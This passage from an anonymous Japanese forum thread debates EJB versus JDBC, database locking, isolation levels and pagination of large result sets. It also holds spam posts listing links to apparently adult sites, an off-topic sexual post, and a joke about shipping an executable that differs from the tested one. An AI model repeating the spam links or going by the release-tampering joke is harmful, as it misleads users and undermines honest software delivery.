NGNG一つのトランザクションで、2つ以上のDBを更新するときに、
全ての更新処理を纏めてトランザクショナルに扱う為の方法。
こういうときは気をつけないと、片方だけ更新して片方は更新
していないというような、ACIDに違反した状態になってしまう
わけで。
具体的な処理の流れは、ぐぐったほうがはやいかも。
0654デフォルトの名無しさん
NGNGデータベースの分散配置にメリットなんかないさ。
単に、今あるシステムで使っているデータベースが、たまたまそう
なっている時に、その上で新しいシステムを作るバヤイはどうする
かとか、そういう後ろ向きの話しだと思われ。既存システムに対する
派生開発ですね。
0655デフォルトの名無しさん
NGNG斬新だ。
0656デフォルトの名無しさん
NGNGDB分散んのメリットについてかたってくれ。
これが理解できないとEJBの真のメリットは理解できないと思う。
0658デフォルトの名無しさん
NGNGそうだ!そうだ!
0659デフォルトの名無しさん
NGNG一例だが、顧客、職員、経理、評価、会計、各部門といった具合に。
全てのデータを同一ノードで管理するのか?
部門ごとにサーバを立て、各サーバで管理するデータは切り離す。
もちろん、データを切り離す事が先ではなく、部門の切り分け、
ユースケースの抽出、そしてオブジェクトの配置と同時進行。
データを分散する事がまずあるのではなく、モデリングを進めていけば、
各部門で保持すべきインスタンスは自然と精査されていく。
分散ありきではなく、分散するしかなくなる。
0661デフォルトの名無しさん
NGNG後数年もすればバカでも後悔する
何でも正当化するな(#゚Д゚)ゴルァ!!
0662デフォルトの名無しさん
NGNG0663654
NGNGEJBがローカルインターフェイスを採用した理由考えたことあるか?
無駄な分散=システム稼動時のオーバーヘッド。
抽象的に分けたものに対して、物理的な対応を必ず一対一に取る
なんて、バカじゃないの。
0664デフォルトの名無しさん
NGNG漏れのところも同じ状況。俺様わけわかでホスト間通信ライブラリを
作った香具師が、今ではその根本のミドルウェアを作ってるかのように話が大きくなってる。
もう神扱い。
0665デフォルトの名無しさん
NGNGここでインスタンスといったのはDBに限らない。
それから、まず、部門ごとの独立性を確保するには、
各部門(サーバ)を同一インスタンスで管理するわけにはいかない。
サーバは物理的にどこにおかれるかは分からないし、
物理的な位置を意識しないといけない設計にするわけにもいかない。
0666デフォルトの名無しさん
NGNGは理解できなかった。
もうやめるよ。
>後数年もすればバカでも後悔する
後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。
勉強するだけ無駄。
0668デフォルトの名無しさん
NGNG技術的なことがわからないSEが設計すると、
保証されていることさえもDBにぶち込む。あげくパフォーマンスがどうとか。
バカ抜かせと小一時間。
0669651
NGNG俺と同じところで働いているかモナー。
でも、世の中のいたるところで、こういう「開発資源の浪費」が
行われているというのが真実かもな。全くばかばかしいことで。
神扱いの奴本人以外の全ての人間にとっての、厄介の種だよな。
0670デフォルトの名無しさん
NGNGそもそも漏れにはホストの存在意義すらわからなくなってきた。
0671デフォルトの名無しさん
NGNG>後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。
そんなこと言っているようじゃ、たいしたプログラマーになれないぞ。
Javaをかなりやっている様に言っているが、机で勉強しただけじゃメリット
なんか分からないだろ。
0672デフォルトの名無しさん
NGNGこの汎用異臭騒ぎオヤジめが。
0673デフォルトの名無しさん
NGNGすいません。666は既にjavaのSEです。
ちなみにEJBでシステムは何度も作ったことがあります。
ただ「メリット」について理解できないと言っているの。
0674671
NGNGEJBのどこがだめなんだ?
おれは有効に使っているけど。
0675デフォルトの名無しさん
NGNG製作者がメリットを感じることって少ないと思うぞ。
不便だと感じるだろうと思われ。
その不便さと、公知のほぼ標準化された仕組みを利用している
ことによる保守、改変作業の容易さのトレードオフかと。
0676デフォルトの名無しさん
NGNG何度も作ったはいいが、過去に構築したシステムの現状は把握してんの?
最初から最後まで見ないことには真のメリットやデメリットは見えないよ。
作り投げは簡単だからね。
0677デフォルトの名無しさん
NGNGおれも、あなたも問題ないさ。
ただ周りの反応はどうだ。嫌がられてないか?
おれはこれからSEとしてEJBをつかわないで
(JDBC経由)でシステムを作ることを提案するよ
0678デフォルトの名無しさん
NGNGJDBC経由が淘汰されゆく運命にあることを、どこかの記事で見たのだが。
0679デフォルトの名無しさん
NGNG0680デフォルトの名無しさん
NGNG別に嫌がってないよ。
俺はこれからもEJBでシステムを提案していくよ。
EJBデザインパターンでも読んでから、もう一度考え直した方が
良いと思うが。
0681デフォルトの名無しさん
NGNG0682デフォルトの名無しさん
NGNG>>その不便さと、公知のほぼ標準化された仕組みを利用している
>>ことによる保守、改変作業の容易さのトレードオフかと。
これは大嘘!!
現状のjava開発の現場では、このスレで意見を交わせるほど、java
の技術者があつまるか?
0683デフォルトの名無しさん
NGNG居るところには居る。
で、議論大好きなのね、みんな。
それでいて誰も「これでいく!」と断言しないってな感じで(w
0684デフォルトの名無しさん
NGNG周りは昔ながらの開発プロセスを信じてる香具師のみ。
JavaのシステムのはずだけどやってることはCと変わりない。
OOも話題にならない。
3年以上前のシステムで、MVCなんだけどその思想も崩れつつあります。
誰かJava技術者を集めてください。
0685デフォルトの名無しさん
NGNG0686デフォルトの名無しさん
NGNGCORBAだと、>>684の悩みがあっというまに吹き出す可能性が高い。
>MVCなんだけどその思想も崩れつつあります。
で、自前のFWを準備することになるが、EJB程の完成度は望めない。
0687デフォルトの名無しさん
NGNG数年後を考えてみませう。
因みに5年前、Javaはおもちゃ同然の糞と、多くの
セクト主義はびこる日本人技術者に蔑まれていました。
0688デフォルトの名無しさん
NGNGあなたはプログラムが趣味でしょ。
ビジネス的な思考でシステム開発している人はEJBを
>>おれは有効に使っているけど。
なんて発言でないと思うけど。
0689デフォルトの名無しさん
NGNGメンテやってるのですか?メンテ要員ってデキナイ君の配置+神1人(障害時のみ)
配置されることが多いから思想なんてぐちゃぐちゃに掻き回される。
私が過去に携わったシステムで、4年後に再度見ることになったのだが・・・・
実装レベルで見直すと酷い物でした。
0690デフォルトの名無しさん
NGNG書いた後に何か言われそうだとは思ったけど、なんでそう思うのかを
説明してくれないかな。
ちなみに仕事以外でプログラムはしません。
0691デフォルトの名無しさん
NGNG香具師は多いと思う。
モジュールレベルでいい感じに作られてたのに、一人のプログラマのせいで
それがぐっちゃんこにされてしまう事もあるし。
人選びは重要だけど、自社の人員資源ではもう無理!って感じる人は多いと思う。
0692デフォルトの名無しさん
NGNGEJBで開発するのと単にJDBC経由で開発するので
技術者のスキルも、かかる工数も大幅に変わってくる。
開発での採算が合わなくなる。
EJBもJDBCもユーザーからすればどうでもいい話。
ならば、やすくシステム作るように提案したほうが
現場から喜ばれるでしょ。
0693デフォルトの名無しさん
NGNG似たような経験あるな。
確かにJAVAだが、そりゃねぇだろおいみたいな。
0694デフォルトの名無しさん
NGNG>>居るところには居る。
ならばあなたの意見
>>その不便さと、公知のほぼ標準化された仕組みを利用している
>>ことによる保守、改変作業の容易さのトレードオフかと。
はやっぱり大嘘!!
0695デフォルトの名無しさん
NGNG確かにユーザからしたらどっちでもいい話ではあるが、工数が大幅に変わる
というのはEJBを使うと工数が大幅に増えると言っているの?
そんなこと全然ないよ。
今やっているプロジェクトはjava初心者もいるけど、EJBでやっているよ。
ステートレスセッションBeanでEJB Commandパターン使っているから、EJB
を使っているということを意識していないと思うけど。
rollback、commit書かなくて済むから現場も喜んでいるよ。
0696デフォルトの名無しさん
NGNG0697デフォルトの名無しさん
NGNGごく基本的なことをわかっていない人がいるようで。
生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる
より100倍楽。
0698デフォルトの名無しさん
NGNG>>683だが、>>675にあらず。
0699デフォルトの名無しさん
NGNG既にEJB開発のためのフレームワークを開発したのですね。
0700デフォルトの名無しさん
NGNG設計者には面白いかもしれんが。
0701デフォルトの名無しさん
NGNGエンドユーザーが技術についてどうでもいいことくらいは、言わなくても誰もが認知済みでしょう。
少なくとも情シス部門は保守まで考えた視点で、どの技術を用いるかの決断はする。
やすく提案して、エンドユーザーに喜ばれた事例ってあるんですか?
部長クラスには喜ばれるだろうが、エンドユーザーはUI以外で喜びませんよ。
0702デフォルトの名無しさん
NGNGだれも兄貴との性交イベント発生しないのだが?
これって不良品?
コンプしたら発生する?
0703デフォルトの名無しさん
NGNG口出してくるエンドユーザーもいるけど。
0704デフォルトの名無しさん
NGNG>>生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる
こんな需要ないね。
需要がないのに
>>どうも、EJBは面倒くさいことを簡単にしてくれているという
>>ごく基本的なことをわかっていない人がいるようで。
この意味は理解できない。
0705デフォルトの名無しさん
NGNG開発と言えるほどのことじゃなくて、EJBデザインパターンという本を
丸写ししただけのものです。
0706デフォルトの名無しさん
NGNGあるよ。少なくともCORBAは。
「普通の」ってどういう基準で言ってるのかわからんけど、
分散オブジェクトの技術としてはEJBもCORBAも同じ。
CORBAでもAPサーバを利用すれば随分プログラミングが楽になる。
もちろん、APサーバ依存になってしまうが。
0707デフォルトの名無しさん
NGNG上記文章で、何を言いたいのかは俺自信わからないわけだが。
0708デフォルトの名無しさん
NGNGエンドユーザーに喜ばれたとは書いてないですよ。
開発会社が利益が出て喜ぶでしょ。
0709デフォルトの名無しさん
NGNGおいおい、プロセス間通信を必要としない仕組みは、そもそもEJBの
適用範囲外だが。
0710デフォルトの名無しさん
NGNGその依存ってやつがどうしても嫌でしょうがない。
根本の仕様を押えておけば苦にならないだろうけど、
初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
0711デフォルトの名無しさん
NGNG0712デフォルトの名無しさん
NGNG分散オブジェクトでなければ開発できないシステムの規模や条件について
具体的に説明してくれれば理解できるのですが。
0713デフォルトの名無しさん
NGNG>初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
それは、EJBやCORBAに限らずだね。
0714デフォルトの名無しさん
NGNGJDBCだって、DBとJDBCドライバに依存しますが。
0715デフォルトの名無しさん
NGNGXML-APIだってXerces/Xalanつかうか(以下略
0716デフォルトの名無しさん
NGNG依存部分もよく理解すればjavaのインターフェース内で処理できる場合が多い。
0717デフォルトの名無しさん
NGNG無いとは言わないが。
0718デフォルトの名無しさん
NGNG0719デフォルトの名無しさん
NGNG依存してねーだろ。もしかしてSQLのこと言ってんの?プ
0720デフォルトの名無しさん
NGNG第3者だけど。依存している部分はあるよ。
BLOBデータのあつかいとか。
0721デフォルトの名無しさん
NGNGあ、そうでした。いきがってスンマソン
0722デフォルトの名無しさん
NGNGオイオイ,夜中に付き合ってみたら、要するにど素人かよ…
JDBCの各インターフェイスに対して、機能が全て実装されているとは限らんよ。
ドライバの実装依存。幾つかの機能は、そもそもDBが持ってないから実装されない
こともある。即ちDB依存。
0723デフォルトの名無しさん
NGNGうろ覚え。
0724デフォルトの名無しさん
NGNG0725デフォルトの名無しさん
NGNG何ができるようになるんでしょうか?
皆さんがEJBを使って目指すものって何ですか?
0726デフォルトの名無しさん
NGNGEJBをサポートするアプリケーションサーバを使えば、
分散オブジェクトで作るシステムを(マッサラから自作するよりは)
簡単に作れる。
分散オブジェクト自体がイロイロ面倒なので、ボタン一つでポイ
というほど簡単ではないですが。
0727デフォルトの名無しさん
NGNGお決まりのHelloWorldをリモートメソッド呼び出しによりやってみたが、
うまく動作しない。サンプルコードを動かすだけでこの手順は複雑すぎ。
これだけ時間かけてHelloWorldはないだろ。。。
で、いくつか思ったことがあったんだけど、スタブとスケルトンって沢山できない?
サンプルレベルなら1組でいいだろうけど。
0728727
NGNG外部ツールとかに割り当てて試してはみたけど、これまたうまく動作しないどころか
まったく反応なし。
0729デフォルトの名無しさん
NGNG全ての通信手順を一つのやり方に出来るので、規模が小さい時は不便なだけだ
けど、規模が大きくなってくると便利だよ。
でもって、EJBはRMIスタブとスケルトンの存在もラップして、もうちょっと抽
象度の高いレベルにしてくれているので、もっと便利。というだけの話。
0730デフォルトの名無しさん
NGNGAntにしたら?タスクあるから。
0731デフォルトの名無しさん
NGNG//127.0.0.1:1099/ほげほげ
片方のVMにレジストしたらいいのかな。試してみよ。
0732デフォルトの名無しさん
NGNGインターフェースなので当たり前ですが、
一度作成したスタブ・スケルトンはリモートメソッドの追加等がない限り、再コンパイルの必要なし。
ってのはちょっと感動した。なにせ初学者なもので・・・。
0733デフォルトの名無しさん
NGNG?エクスポートしてレジストリにバインドすれば、VMまたいでコールできるの
がRMIでっしゃろ?
レジストリへのバインドも、レジストリサーバに対する登録依頼のプロセス間
通信。レジストリサーバが、そのURLのドメイン部分で持ってこれる場所にアレバ
イイだけっス。
0734デフォルトの名無しさん
NGNGなぜでしょうか?
私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)
EJBを本当に使う必要があるのか迷っています。
またエンティティBeanは実際の業務APで皆さん使われてますか?
私の意見としては更新系にしかエンティティBeanは使えないと思っています。
使っている方はテーブルとエンティティBeanをどのようにマッピングしているのでしょうか?
CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか?
業務APでEJBを開発した方の意見をお願いします!
0735デフォルトの名無しさん
NGNG通常のClassでJDBCでがちがち書いた方が良さそうな気がしますが、
どうなのでしょう?
JSP、Servlet、セッションBeanはまず使わないだろうし。
エンティティBean、MessageDrivenBeanは使われていたりするのでしょうか?
一括更新だからメモリを食って効率も割るそうですなぁ・・・
0736デフォルトの名無しさん
NGNG漏れのところはJDBCでがちがち書いてる。
バッチでJ2EE使ったら許容時間超えそうで怖い。
といいますか、バッチのような単純処理にJ2EEを使うメリットありますか?
0737735
NGNG回答どうもです!
私としてはバッチでJ2EEを使うメリットを下記のように考えましたが、
エンティティBean
→ 1.トランザクション自動制御
2.エンティティBeanのオンラインとの共有化
やはりエンティティBeanでは性能を考えると辛いような気がします。
0738デフォルトの名無しさん
NGNGもう少し具体的な説明頼む(何をするか
0739735
NGNGなぜバッチかというと現状Cで作成したバッチ処理を
Java(J2EE)で実装した場合どのようになるかを検討しています。
バッチ処理の内容としてはDBの一括更新+CSVファイルの作成です。
説明不足で申し訳ありません。
0740デフォルトの名無しさん
NGNG最初は、JNIコールでやって、徐々にJavaに移行したら?
0741デフォルトの名無しさん
NGNG>トランザクション自動制御
整合性で同期とるのはダメなの?
0742デフォルトの名無しさん
NGNGおそらく2つの手法があると思っています。
どちらのパターンが推奨されるのでしょうか?
メリットは私の推測ですが間違っていたらご指摘してください。
1.APPLET→Servlet→EJB
メリット:ファイヤウォールを越えられる
2.APPLET→EJB
メリット:速度が速い、コーディング量が減る。
0743デフォルトの名無しさん
NGNGEJBをもう少し理解された方がよろしいかと思います。
0745デフォルトの名無しさん
NGNG間違いなく1でしょう。
セキュリティから考えてみてもIIOPなどのポートをインターネットに公開すべきではありません。
>2.APPLET→EJB
> メリット:速度が速い、コーディング量が減る。
コーディング量は減りますが速度が速くなるとは限りません。
サーブレットと通信するモデルは結果だけやり取りすれば良いので通信量を減らすことが出来ますが、
直接EJBを扱う場合は、IIOPなどのオーバヘッド、スタブのシリアライズ、デシリアライズやセキュリティの確認のための通信が
発生するため、かなりの通信量が発生します。
EJBの分散機能はノードがかなり近くにある状況で利用するのが、よりと思います。
0746デフォルトの名無しさん
NGNGどなたか734に対して意見をいただけませんか?
0747デフォルトの名無しさん
NGNG通常はフレームワークを使わないと品質がまばらになってかなり辛いと思うのですが、
実際はどうなんでしょうか?
あと、フレームワークはいろいろ調べてみたところcFrameworkが良さそうですが、
実際どうなんでしょう?
実際のプロジェクトで使われている方の意見が聞きたいです。
cFrameworkで非同期や会話型のAPは作れますか?
0748デフォルトの名無しさん
NGNG非同期も会話型も無理だろう。
0749デフォルトの名無しさん
NGNGということはオンライン同期処理しかできないということですか?
0750デフォルトの名無しさん
NGNG100件ずつくらい分けてHTMLに出力するというのが一般のやり方だと思っていますが、
その実装方式って皆さんどうされてますか?(どこでそのデータを保持していますか?
)
StatefulSessionBeanを使われてますか?
HttpSessionで処理されてますか?
個人的には「StatelessSessionBean」+「HttpSesion」の方が
メモリが消費されずに済むので良いと思っています。
0751デフォルトの名無しさん
NGNG0752ふぁそ
NGNGcFramework使うぐらいならStruts使っとけ。
傾き書けている会社の使ってもろくなことにならない。
今ならStruts使えるエンジニアのほうが集まるだろうし
使えるようになりたいエンジニアもcFrameworkよりは多いと思われ。
0753デフォルトの名無しさん
NGNG「StatelessSessionBean」+「HttpSesion」良いと思います。
ただし、大量の検索結果を一時保管する際には、プライマリキーの配列
だけを保存しておく必要があるかもしれません。
0754デフォルトの名無しさん
NGNGどこが特別優れているのかはわからんが、
使いやすかった覚えはある。
0755デフォルトの名無しさん
NGNG0756デフォルトの名無しさん
NGNG普通にカーソル使ったら?
0757デフォルトの名無しさん
NGNGrequestで処理して、アプリケーションでは保持しない。
SELECT * FROM (検索SELECT文) WHERE ROWNUM<=最終行
MINUS SELECT * FROM (検索SELECT文) WHERE ROWNUM<開始行
0758デフォルトの名無しさん
NGNGセキュリティや分散などの機能を利用しないのであればあまり必要はないかもしれません。
ただ、開発が容易なSLSBで強固なトランザクション制御を簡単に利用できるなど、逆に「使わない理由」というのも見当たりません。
EntityBeanはこれからの仕様ですから無理に利用しなくても良いと思います。なにせやっとORDER BYできるようになったぐらいですから。
ただし本格的なオブジェクト指向をやる場合は透過的なオブジェクトの永続化層が必要ですから、
これを自作するよりは、JDOやEntityBeanなどのミドルウェアを導入するのが開発工数の節約になるでしょう。
また標準の機能であるので、自作した永続化層より保守が容易であることも導入の理由となるかもしれません。
>私の意見としては更新系にしかエンティティBeanは使えないと思っています。
そんなことはありません。
現在のほとんどのアプリケーションサーバーは読み出し結果をキャッシュする機構を備えているので、
読み出し時のパフォーマンスはかなり改善されています。
ただし、照会結果が大量の場合はJDBCを直接利用するアプローチを取るのが一般的です。
照会結果が少量の場合はEntityBeanでEJB QLを利用するのがいいと思います。
これらを使い分けることにより開発工数を減らすことが出来ます。
オブジェクト指向で開発するならEntityBeanが一番手っ取り早いです。
手持ちのアプリケーションサーバーに機能がついていますから。
ただし、普通のwebアプリケーションの開発であればStrutsとSLSBとDAOパターンなどで(なんとなく)出来てしまうので、
よくわからないものに手を出して、プロジェクトを失敗させたくない人はEntityBeanは使わないほうが良いでしょう。
0759デフォルトの名無しさん
NGNG1万件は多いね・・・。一時的にHttpSessionに置くにしても多すぎる。検索->切断を繰り返すと容易にシステムダウンできる。
一番パフォーマンスが良いのは、カーソルをキャッシュしておいて表示する度フェッチする方法だけど、
これも危険、コネクションプールを使い尽くす可能性がある。。
私がやっていたのはシステム内にオブジェクト管理クラスを用意してそこで照会、オブジェクトの作成、キャッシュをさせるという方法。
最初の検索は時間がかかるけどそれ以降はキャッシュヒット率が上がってくると10倍くらいのパフォーマンスの向上があった。
キャッシュするオブジェクト数も管理できるのでメモリも食いつぶす必要がない。
特定の照会系に絞ってキャッシュ機構を構築するのが一番いいと思う。
0760デフォルトの名無しさん
NGNGなぜでしょうか?
私の認識ではEJBの持つ下記の性質のためだと思っていますが、
間違っていたらご指摘してください。
アベイラビリティ → 位置透過性(クラスタ対応+CMT)
スケーラビリティ → 位置透過性(リモート呼び出し)
0761デフォルトの名無しさん
NGNGキャッシュするのは解るけど、
数万件のデータを保持するオブジェクトって大丈夫なの?
都度、DBアクセスする方が安全のような気がするんだけど。
0762デフォルトの名無しさん
NGNGそれは難しいところ。
1万件の照会を毎回やり直せる体力がDBにあるなら、それでいいと思うよ。
ないのであれば、キャッシュするしかない。
0763デフォルトの名無しさん
NGNG50万件から数万件引っ張ってくることを想定すると、
PreperedStatementキャッシュ、テーブルインデックスを用いたとしても
一定人数以上から同時アクセスされると容易に死ねるような気がする。
とすると、キャッシュ容量は十分に考慮しなければならない。
それ以前に、1万件画面に引っ張ってくる状況って殆どないように思える。
0764デフォルトの名無しさん
NGNGそういうデータをシングルトンで保持しておくのは良くある方法かと思ってた。
0765デフォルトの名無しさん
NGNGマスター系はキャッシュの恩恵得られやすいだろうね。
しかし、「住所マスター」これってデカくねーか?
0766デフォルトの名無しさん
NGNG@ITにPreperedStatementキャッシュについての記事があったね。なかなか使えそう。
0767デフォルトの名無しさん
NGNG行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、
DBにとってはさほど酷な仕事じゃないと思う。
システムによりけりだが。
0768デフォルトの名無しさん
NGNG> 行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、
自分で条件特定してるじゃん。それで酷ではないって言うのはどうかと。
1万件ってそんなに多くないが、いろんな側面を考慮すると酷な場合もあり得る。
システムによりけりで、一概に言えないと思われる。
0769デフォルトの名無しさん
NGNGどうやって排他制御されるんでしょうか。
Webからほぼ同時に異なるリクエストが到着して、
異なるセッションビーンのメソッドから、
同一のエンティティビーンABCBeanのsetterメソッドを呼び出すとします。
このときって、どういう風に更新されるの?
どっちかが失敗するの?
0770デフォルトの名無しさん
NGNGそれがシステム上マズイならアプリで排他制御を実装すべし。
0771デフォルトの名無しさん
NGNGコンテナが良きに計らってくれるんじゃないの?
0772デフォルトの名無しさん
NGNG分離レベルによる。
0773デフォルトの名無しさん
NGNG0774デフォルトの名無しさん
NGNGJDBCを使わないとだめ。
0775デフォルトの名無しさん
NGNGsession.setAttribute("ID","XXXXX");
sessionにbean以外の登録って出来ますか?
0776デフォルトの名無しさん
NGNG0777デフォルトの名無しさん
NGNGお前のbeanがObject以外から派生してるなら無理
0778デフォルトの名無しさん
NGNGJ2EE準拠テストを提供されたとかいうニュースが3ヶ月ぐらい前にあったが。
0779__
NGNG川o・-・)ノ <先生!こんなのがありました!
http://www.yoshiwara.susukino.com/moe/hankaku03.html
http://yoshiwara.susukino.com/moe/hankaku10.html
http://www.yoshiwara.susukino.com/moe/hankaku08.html
http://yoshiwara.susukino.com/moe/hankaku09.html
http://www.yoshiwara.susukino.com/moe/hankaku06.html
http://yoshiwara.susukino.com/moe/hankaku05.html
http://www.yoshiwara.susukino.com/moe/hankaku01.html
http://yoshiwara.susukino.com/moe/hankaku02.html
http://www.yoshiwara.susukino.com/moe/hankaku08.html
http://yoshiwara.susukino.com/moe/hankaku04.html
0780デフォルトの名無しさん
NGNGまだ。それに多分取れない。
0781デフォルトの名無しさん
NGNG0782デフォルトの名無しさん
NGNG単にj2eeがパフォーマンス重視で作ってないだけだろ。
0783デフォルトの名無しさん
NGNGを作ってるんですが、サーブレットも使わずわざわざソケットをつかって
サーバーサービスをつくり、これでクライアントとデータをやりとりして
ます。単純なデータのやりとり、単純なセッション管理しかできないしろ
ものなんですが、このようなやり方ってお薦めできる技法でしょうか?
0784デフォルトの名無しさん
NGNGIMF技法をお勧めする。
IMFとは、Implementation Method Falsificationの略で直訳すると
「実現方法改ざん」である。初心者にはお勧めできないが。
0785デフォルトの名無しさん
NGNGIMFが威力を余すことなく発揮させるには、いくつかの要素がある。
要素のなかで、習得が容易なものを以下に記述する。
1.シチュエーション
2.杜撰な上層部
3.テストフェーズの実行ファイルと、運用フェーズの実行ファイルの物理的相違
0786デフォルトの名無しさん
NGNGワロタ
0787デフォルトの名無しさん
NGNG0788デフォルトの名無しさん
NGNGのコレクションに強参照で丸ごと放り込んでおくっていう発想しかないのは、
何でですか?
ローカルのディスクにテンポラリ作って保存して、弱参照でオンメモリにキャ
ッシュとか、そういう方法ってとらないの?別に工数がすごくかかるような難
しいことじゃないよね?何かまずい問題があるのでしょうか?
0790デフォルトの名無しさん
NGNGCMPだとロック掛けられないんですか?
データに矛盾とか起こらないのだろうか。
0791U ◆CZtFsGiu0c
NGNGCMPでもWrite Lockはもちろんかかる。
てっきり明示的にロックをかける話かと思ったのだがそうじゃないのね。
0792デフォルトの名無しさん
NGNG入力画面ではRDB上の何らかのデータを参照しているとする。
ここでは例として「頻繁に切り替わる現在価格」を参照しているとします。
Webアプリとして画面遷移させるとき、
入力と完了の間に他のトランザクションが発生することが予想されますよね。
でも、ユーザーは「入力画面で見た情報」をもとに意思決定をしているわけだから、
「入力」の完了以降、「完了」の開始前の間に現在価格が切り替わるとマズイ。
これってEJB仕様の範囲で回避可能?
それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる?
スマートな解決法はどんななんでしょう。
0793デフォルトの名無しさん
NGNG「ノンリピータブルリード」の問題ですね。
おそらくEJB仕様では記述されていないと思います。
APサーバやDBMSの独自仕様の設定で
トランザクションの隔離レベルを「REPEATABLE READ」以上にすれば
回避できると思われます。
もしくはEJBパターンの「Version Number」パターンを使ってプログラムで
対処するかでしょう。
(「Vesion Number」パターン
→ バージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる手法をパターン化したもの)
0794_
NGNG( ・∀・)/< こんなのみつけたっち♪
ttp://www.yamazaki.90.kg/hankaku/hankaku04.html
ttp://yamazaki.90.kg/hankaku/hankaku10.html
ttp://www.yamazaki.90.kg/hankaku/hankaku09.html
ttp://yamazaki.90.kg/hankaku/hankaku08.html
ttp://www.yamazaki.90.kg/hankaku/hankaku06.html
ttp://yamazaki.90.kg/hankaku/hankaku05.html
ttp://www.yamazaki.90.kg/hankaku/hankaku01.html
ttp://yamazaki.90.kg/hankaku/hankaku02.html
ttp://www.yamazaki.90.kg/hankaku/hankaku07.html
ttp://yamazaki.90.kg/hankaku/hankaku04.html
0795動画直リン
NGNG0796デフォルトの名無しさん
NGNGEJBから見たトランザクションは、入力、確認、完了、それぞれの画面ごとなので、
トランザクション分離レベルを設定しても対処不可でしょう。
> それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる?
この方法しかないのでは。
0797デフォルトの名無しさん
NGNGJ2EEのポート番号はどうやって変えるんでしょう?
また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると
何か問題ありますか?
MySQLをインストールしているのですが、
TomcatからMySQLにアクセスすると同時にJ2EEからMySQLにアクセスすることは
できますか? また、これには何か問題がありますか?
EJBにはストアドプロシージャや
JDBCのPreparedStatementのようなDBアクセス高速化機能はありますか?
と、いった解説が載っているJ2EE関係のサイトまたは書籍があったら、まるで教えて訓ですが教えてください。
0798デフォルトの名無しさん
NGNG0799デフォルトの名無しさん
NGNG> また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると
何か問題ありますか?
同時起動する必然性が全くない。
やるなら内部通信ポート含めて全部ポート番号ずらせばできないことはない。
> J2EEのポート番号はどうやって変えるんでしょう?
J2EEとは仕様のことだが?J2EE RIまたはJ2EE SDKのことだろ?
J2EEのサーブレットコンテナはTomcatだよ。server.xmlをいじってみれ。
>>798
もちろん使える。
0800デフォルトの名無しさん
NGNGもしかして、J2EEってj2ee(EJBサーバ)の事を言っているとか?
0801デフォルトの名無しさん
NGNGすごい技術だな。ってほんとにあるのかその手法????
0802デフォルトの名無しさん
NGNG「もしテーブルに同じデータが存在しなければ、新しいレコードを挿入する」
って処理をする時ってテーブルのロックが必要だと思うんですが
EJBではどうやるんですか?
0803デフォルトの名無しさん
NGNGロックの必要性を全く感じないが?
insert実行->同じデータが無ければ挿入成功、同じデータがあれば一意制約違反。
0804デフォルトの名無しさん
NGNGそういうぶっつけのSQL実行はお行儀が悪い。
0805デフォルトの名無しさん
NGNGまぁ DB2 なんかは INSERT の時点でテーブルロック並みのロックがかかるけど。
0806802
NGNG例えば列車などの座席予約システムみたいなので
座席の空きをコンピューターで確認してから
お客様に「座席の空きが有りますヨ」と伝えても
次の瞬間に別なユーザから座席を横取りされたら困るよね。
こんな時にもロックが使いたいと思うんだけど、EJBではやっぱ無理?
0807デフォルトの名無しさん
NGNGフラグ持たせりゃいいじゃん。別にどうってことない。
0808デフォルトの名無しさん
NGNGその場合、空席全部をロックしたら余計に困る。
0810デフォルトの名無しさん
NGNG別に。考えすぎだよ。EJBでできるかどうかが問題になってるのだろうけど、
プログラムにできないことは、ほぼ無いに等しい。
あとは客と話し合って、どこまで保証するかどうかの問題。
0812デフォルトの名無しさん
NGNGとりあえず、ソース汚くなろうとも逃げ実装だけは用意しておくことをお勧めする。
余裕があるならベストな方法考えたらいい。
0813bloom
NGNG0814デフォルトの名無しさん
NGNGキー項目を自動生成する場合(Oracleのシーケンスオブジェクトとか)どうすんのよ
0815デフォルトの名無しさん
NGNG何故EJBで無理で他なら出来ると思ったのか
0816デフォルトの名無しさん
NGNG0817デフォルトの名無しさん
NGNG0818デフォルトの名無しさん
NGNGINSERT と同時にプライマリキーが自動生成される設計で「あれば更新、
無ければ追加」なんて状況が有りうるのか?
0819デフォルトの名無しさん
NGNG彼女が風呂上がるのを待ってるのですが何か?
0820デフォルトの名無しさん
NGNG馬鹿ですか・・・
0821デフォルトの名無しさん
NGNG俺は大抵の話には付いていける技術ボキャブラリがあると自負していたが、
おまえの話しだけには付いていけない。
0822デフォルトの名無しさん
NGNGワラタ
0823デフォルトの名無しさん
NGNGPet Store以外で。
0824デフォルトの名無しさん
NGNGWebSphereのやつ見てみたら?
0825デフォルトの名無しさん
NGNGEJBの前にDBを理解した方が良いですよ。
0826デフォルトの名無しさん
NGNGの // ̄> ´  ̄  ̄ `ヽ Y , ´ ) E え
流 L_ / / ヽ J |
J 行 / ' ' i B マ
D な / / く !? ジ
B 許 l ,ィ/! / /l/!,l /厶,
C さ i ,.lrH‐|'| /‐!-Lハ_ l /-!'|/l /`'メ、_iヽ
だ れ l | |_|_|_|/| / /__!__ |/!トi i/-- 、 レ!/ / ,-- レ、⌒Y⌒ヽ
け る _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ ,イ ̄`ヾ,ノ!
よ の 「 l ′ 「1 /てヽ′| | | 「L! ' i'ひ} リ
ね は ヽ | ヽ__U, 、ヽ シノ ノ! ! |ヽ_、ソ, ヾシ _ノ _ノ
-┐| ,√ !  ̄ リ l !  ̄  ̄ 7/
レ'⌒ヽ/ ! | 〈 _人__人ノ_ i く //!
人_,、ノL_,iノ! /! ヽ r─‐- 、 「 L_ヽ r─‐- 、 u ノ/
/ / lト、 \ ヽ, -‐┤ ノ キ 了\ ヽ, -‐┤ //
